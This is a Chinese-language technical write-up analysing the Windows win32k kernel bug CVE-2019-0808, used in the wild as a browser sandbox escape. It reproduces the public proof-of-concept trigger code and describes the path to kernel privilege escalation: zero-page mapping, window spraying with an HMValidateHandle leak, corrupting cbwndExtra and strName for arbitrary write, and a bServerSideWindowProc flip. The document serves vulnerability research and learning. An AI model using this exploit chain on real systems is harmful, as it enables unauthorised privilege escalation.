作者:Kerne7@知道創宇404實驗室
時間:2020年9月28日

前言

選擇這個漏洞的原因是和之前那個cve-2019-5786是在野組合利用的,而且互聯網上這個漏洞的資料也比較多,可以避免在踩坑的時候浪費過多的時間。

首先跟據 Google 的博客,我們可以了解到這個漏洞在野外被用作在windows7 32位系統上的瀏覽器沙盒逃逸,并且可以定位到漏洞函數 win32k!MNGetpItemFromIndex 。

在復現漏洞之前有幾個問題浮現出來了,首先這個漏洞被用作沙盒逃逸,那么瀏覽器沙盒逃逸有哪幾種方式?這個漏洞除了沙盒逃逸還可以用來做什么?其次空指針解引用的漏洞如何利用?這些可以通過查閱相關資料來自行探索。

從poc到尋找漏洞成因

在我分析這個漏洞的時候已經有人公布了完整的利用鏈,包括該漏洞的 poc 、 exp 和瀏覽器利用的組合拳。但是本著學習的目的,我們先測試一下這個 poc ,看下漏洞是如何觸發的。搭建雙機調試環境之后,運行 poc 導致系統 crash ,通過調試器我們可以看到

加載符號之后查看一下棧回溯.

可以看到大概是在 NtUserMNDragOver 之后的調用流程出現了問題,可能是符號問題我在查看了 Google 的博客之后沒有搜索到 MNGetpItemFromIndex 這個函數,從棧回溯可以看到最近的這個函數是 MNGetpItem ,大概就是在這個函數里面。

大概看了下函數觸發順序之后,我們看下poc的代碼是如何觸發crash的。首先看下poc的代碼流程。

首先獲取了兩個函數的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ,獲取這兩個函數的地址是因為參考棧回溯中是由 win32k!NtUserMNDragOver 函數中開始調用后續函數的,但是這個函數沒有被導出,所以要通過其他函數的地址來導出。NtAllocateVirtualMemory函數是用來后續分配零頁內存使用的。

pfnNtUserMNDragOver = (NTUserMNDragOver)((ULONG64)GetProcAddress(LoadLibraryA("USER32.dll"), "MenuItemFromPoint") + 0x3A);
pfnNtAllocateVirtualMemory = (NTAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");

然后設置Hook EVENT_SYSTEM_MENUPOPUPSTART事件和WH_CALLWNDPROC消息。

SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WindowHookProc, hInst, GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART,        EVENT_SYSTEM_MENUPOPUPSTART,hInst,DisplayEventProc,GetCurrentProcessId(),GetCurrentThreadId(),0);

之后設置了兩個無模式拖放彈出菜單(之前創建的,但是不影響poc的邏輯順序),即hMenuRoot和hMenuSub。hMenuRoot會被設置為主下拉菜單,并將hMenuSub設置為其子菜單。

HMENU hMenuRoot = CreatePopupMenu();
HMENU hMenuSub = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(MENUINFO);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuRoot, &mi);
SetMenuInfo(hMenuSub, &mi);
AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");

創建了一個類名為#32768的窗口

hWndFakeMenu = CreateWindowA("#32768", "MN", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

根據msdn我們可以查詢到這個#32768為系統窗口,查的資料,因為CreateWindowA()并不知道如何去填充這些數據,所以直接調用多個屬性被置為0或者NULL,包括創建的菜單窗口對象屬性 tagPOPUPMENU->spmenu = NULL 。

然后設置wndclass的參數,再使用CreateWindowsA來創建窗口。參數可以確保只能從其他窗口、系統或應用程序來接收窗口消息。

WNDCLASSEXA wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXA);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.cbClsExtra = 0;
wndClass.cbWndExtra = 0;
wndClass.hInstance = hInst;
wndClass.lpszMenuName = 0;
wndClass.lpszClassName = "WNDCLASSMAIN";
RegisterClassExA(&wndClass);
hWndMain = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 1, 1, nullptr, nullptr, hInst, nullptr);

接著,使用 TrackPopupMenuEx() 來彈出 hMenuRoot ,然后再通過 GetMessageW 來獲取消息,然后在 WindowHookProc 函數中由于bOnDraging被初始化為FALSE,所以直接會執行 CallNextHookEx 。由于觸發了EVENT_SYSTEM_MENUPOPUPSTART事件,然后傳遞給 DisplayEventProc ,由于 iMenuCreated 被初始化為0,所以進入0的分支。通過 SendMessageW() 將 WM_LMOUSEBUTTON 窗口消息發送給 hWndMain 來選擇 hMenuRoot 菜單項(0x5, 0x5)。這樣就會觸發 EVENT_SYSTEM_MENUPOPUPSTART 事件,再次執行 DisplayEventProc ,由于剛剛 iMenuCreated 自增了,所以進入分支1,導致發送消息使鼠標挪到了坐標(0x6,0x6),然后 iMenuCreated 再次進行自增。然后在主函數的消息循環中iMenuCreated大于等于1進入分支,bOnDraging被置為TRUE,然后調用被我們導出的pfnNtUserMNDragOver函數。

TrackPopupMenuEx(hMenuRoot, 0, 0, 0, hWndMain, NULL);

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);

    if (iMenuCreated >= 1) {
        bOnDraging = TRUE;
        pfnNtUserMNDragOver(&pt, buf);
        break;
    }
}
LRESULT CALLBACK WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    if (!bOnDraging) {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    if ((cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT)){
        bIsDefWndProc = FALSE;
        printf("[*] HWND: %p \n", cwp->hwnd);
        SetWindowLongPtr(cwp->hwnd, GWLP_WNDPROC, (ULONG64)SubMenuProc);
    }
    return CallNextHookEx(0, code, wParam, lParam);
}
VOID CALLBACK DisplayEventProc(HWINEVENTHOOK hWinEventHook,DWORD event,HWND hwnd,LONG idObject,LONG idChild,DWORD idEventThread,DWORD dwmsEventTime)
{
    switch (iMenuCreated)
    {
    case 0:
        SendMessageW(hwnd, WM_LBUTTONDOWN, 0, 0x00050005);
        break;
    case 1:
        SendMessageW(hwnd, WM_MOUSEMOVE, 0, 0x00060006);
        break;
    }
    printf("[*] MSG\n");
    iMenuCreated++;
}

poc的流程已經分析完了,但是還是有部分的代碼沒有進入,比如 WindowHookProc 的 cwp->message == WM_MN_FINDMENUWINDOWFROMPOINT 分支,該分支通過 SetWindowLongPtrA 來改變窗口的屬性。把默認的過程函數替換為SubMenuProc,SubMenuProc函數在收到 WM_MN_FINDMENUWINDOWFROMPOINT 消息后把過程函數替換為默認的過程函數,然后返回我們自定義的FakeMenu的句柄。

LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    if (msg == WM_MN_FINDMENUWINDOWFROMPOINT)
    {
        SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc);
        return (ULONG)hWndFakeMenu;
    }
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

接下來還要我們從漏洞的代碼本身來分析。我們來看下調用pfnNtUserMNDragOver之后發生了什么,以及什么時候能收到 WM_MN_FINDMENUWINDOWFROMPOINT 這個消息。通過我們之前看到 windbg 的棧回溯中,我們在IDA中逐漸回溯函數,在 xxxMNMouseMove 函數中發現了 xxxMNFindWindowFromPoint 就在 xxxMNUpdateDraggingInfo 之前,xxxMNUpdateDraggingInfo 函數也是我們棧回溯中的函數。

在函數 FindWindowFromPoint 函數中通過 xxxSendMessage 發送消息 235 也是 poc 中定義的 WM_MN_FINDMENUWINDOWFROMPOINT ,然后返回 v6 也就是獲取的窗口句柄。然后在函數MNGetpItem中導致了空指針解引用得問題。

從空指針解引用到任意代碼執行

觸發了漏洞之后我們如何利用是個問題,首先的問題是把空指針解引用異常解決掉,在 windows7 版本上可以使用 ntdll!NtAllocateVirtualMemory 來分配零頁內存。可以看到在申請零頁內存之后不會產生異常導致crash了。

為了進入到 MNGetpItem 的 if 分支中,我們需要對零頁內存中的數據進行設置。并且通過查詢資料得知,MNGetpItem 中的參數為 tagPOPUPMENU 結構,uDraggingIndex又可以從tagMSG的wParam取到,所以這個函數的返回值是在用戶態可控的。

進入 if 分支之后我們繼續看程序流程,繼續跟進 xxxMNSetGapState 函數。

進入 xxxMNSetGapState 可以看到再次出現了我們之前的漏洞函數 MNGetpItem ,其中 v5 是 MNGetpItem 的返回值,v6 = v5,后續中有 v6 或的操作,MNGetpItem 的返回值又是用戶態可控,利用這一點我們可以實現任意地址或0x40000000u的操作。

如何把這個能力轉化為任意地址讀寫呢?公開的exp中采用了窗口噴射的方法,類似于堆噴射創建大量的 tagWND 再通過 HMValidateHandle 函數來泄露內核地址來進行進一步的利用。HMValidateHandle 允許用戶獲得具有對象的任何對象的用戶級副本。通過濫用此功能,將包含指向其在內核內存中位置的指針的對象(例如 tagWND(窗口對象))”復制“到用戶模式內存中,攻擊者只需獲取它們的句柄即可泄漏各種對象的地址。這里又需要導出 HMValidateHandle 函數來進一步利用。再導出了 HMValidateHandle 之后可以泄露對象的地址了,然后我們利用窗口對象噴射的方法,尋找兩個內存位置相鄰的對象,通過修改窗口附加長度 tagWND+0x90->cbwndExtra 為0x40000000u來,再次修改第二個窗口對象的 strName.Buffer 指針,再通過設置 strName 的方式來達到任意地址寫。

有了任意代碼寫,如果使 shellcode 在內核模式中執行呢?可以利用 tagWND. bServerSideWindowProc 字段,如果被置位那話窗口的過程函數就實在內核模式的上下文中執行,最后可以實現用戶態提權。

后記

通過這個漏洞的分析和復現也學到了不少在內核模式下的操作。分析到這里已經算結束了,但是如何達到在野外實現的瀏覽器沙盒逃逸的功能,還有之前提出的問題都是還需要思考的。那我們通過這個漏洞的復現及利用過程,還要思考這個漏洞是如何被發現的,是否可以通過poc中的一些功能來 fuzz 到同樣的空指針解引用,以及我們如何去尋找這類漏洞。

參考鏈接

https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html

https://github.com/ze0r/cve-2019-0808-poc/


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1351/